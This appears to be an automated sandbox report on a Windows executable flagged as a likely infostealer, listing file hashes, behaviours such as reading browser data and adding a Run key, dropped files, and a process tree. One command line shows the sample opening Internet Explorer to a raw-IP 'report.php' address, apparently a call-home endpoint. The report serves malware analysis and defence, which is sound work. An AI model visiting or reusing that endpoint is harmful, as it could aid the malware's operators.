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Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/05/2024, 20:33

General

  • Target

    145fef85c878f425d4ce9cd0dda21528_JaffaCakes118.exe

  • Size

    16.2MB

  • MD5

    145fef85c878f425d4ce9cd0dda21528

  • SHA1

    2dec292c5e93c3284c1b0f14408dd42bfc0167fc

  • SHA256

    034fe030f12edbc41527f20a5a29731b833101117973b723e7fb816458ee44ad

  • SHA512

    d663e3c5db06ba610109e2fed924480f2f130c666fe55be6552ea8a9eb93cc8184ab3de8a10b8ecd41dda26e41905605a44d61e49fd08c079dccc522afdc90c4

  • SSDEEP

    98304:XX77GBfWZ5KYOXwnS4rVQSoYOXwnS4rVt3:vGBfWZJIz8IE

Malware Config

Signatures

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops file in System32 directory 64 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Modifies Internet Explorer settings 1 TTPs 39 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\145fef85c878f425d4ce9cd0dda21528_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\145fef85c878f425d4ce9cd0dda21528_JaffaCakes118.exe"
    1⤵
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:1348
    • C:\Program Files\Internet Explorer\IEXPLORE.exe
      "C:\Program Files\Internet Explorer\IEXPLORE" 212.33.237.86/images/1/report.php
      2⤵
      • Modifies Internet Explorer settings
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1464
      • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1464 CREDAT:17410 /prefetch:2
        3⤵
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        PID:1076

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Program Files\7-Zip\7z.exe

    Filesize

    16.8MB

    MD5

    f6618b7373e4ad9f7f1127d72304ec12

    SHA1

    6d843eaf438b7a4e45a6976fb57e1b7152b60751

    SHA256

    054000ca48a24ffa3e7f4b68b706270ced5715d0b96efe47436191c4bbf27f75

    SHA512

    66497b56c03422ade2530631689c55848bce2fd5ff3028e23aba6448a26d00e8beb59f4af53f91a3123e164efd3c763d66b33497ba76b033743e30bc2c95fc09

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

    Filesize

    471B

    MD5

    db1d00c8d4aed9e23477029535924cda

    SHA1

    2c65908ad49ae34035a3212c7c8c32072be706b2

    SHA256

    72c791b342a217d83eb625194c430bc6778ecffa8fdf0f5a9dc0e72a71d33241

    SHA512

    d350043d9e26fbf5ce31de0b929201fdb00195da2ce25a1f8778c728adca9530f2c5f111fbe1d44e55078ac89fab5b07394b30e175898a71e54e3b51c3a46dff

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

    Filesize

    404B

    MD5

    81a5a98759c61cb32194cc4e6e5ba1ed

    SHA1

    ed84a5b50aa870b7ac26dc155243f349adf22e22

    SHA256

    202cc9390fac3c794ddb7a7735073db0bb015c918e81f8aa565be1090dd81c13

    SHA512

    db993c19da1346fe297a1fa57ab8db5fb3a467e33da303156815c998ccbc2b81e5c102bf9786aa2c497fa37505b928135ef50fc8c19d3dc24f8541be885e2630

  • C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\VersionManager\verBCD8.tmp

    Filesize

    15KB

    MD5

    1a545d0052b581fbb2ab4c52133846bc

    SHA1

    62f3266a9b9925cd6d98658b92adec673cbe3dd3

    SHA256

    557472aeaebf4c1c800b9df14c190f66d62cbabb011300dbedde2dcddd27a6c1

    SHA512

    bd326d111589d87cd6d019378ec725ac9ac7ad4c36f22453941f7d52f90b747ede4783a83dfff6cae1b3bb46690ad49cffa77f2afda019b22863ac485b406e8d

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\GOM5RXN2\suggestions[1].en-US

    Filesize

    17KB

    MD5

    5a34cb996293fde2cb7a4ac89587393a

    SHA1

    3c96c993500690d1a77873cd62bc639b3a10653f

    SHA256

    c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

    SHA512

    e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee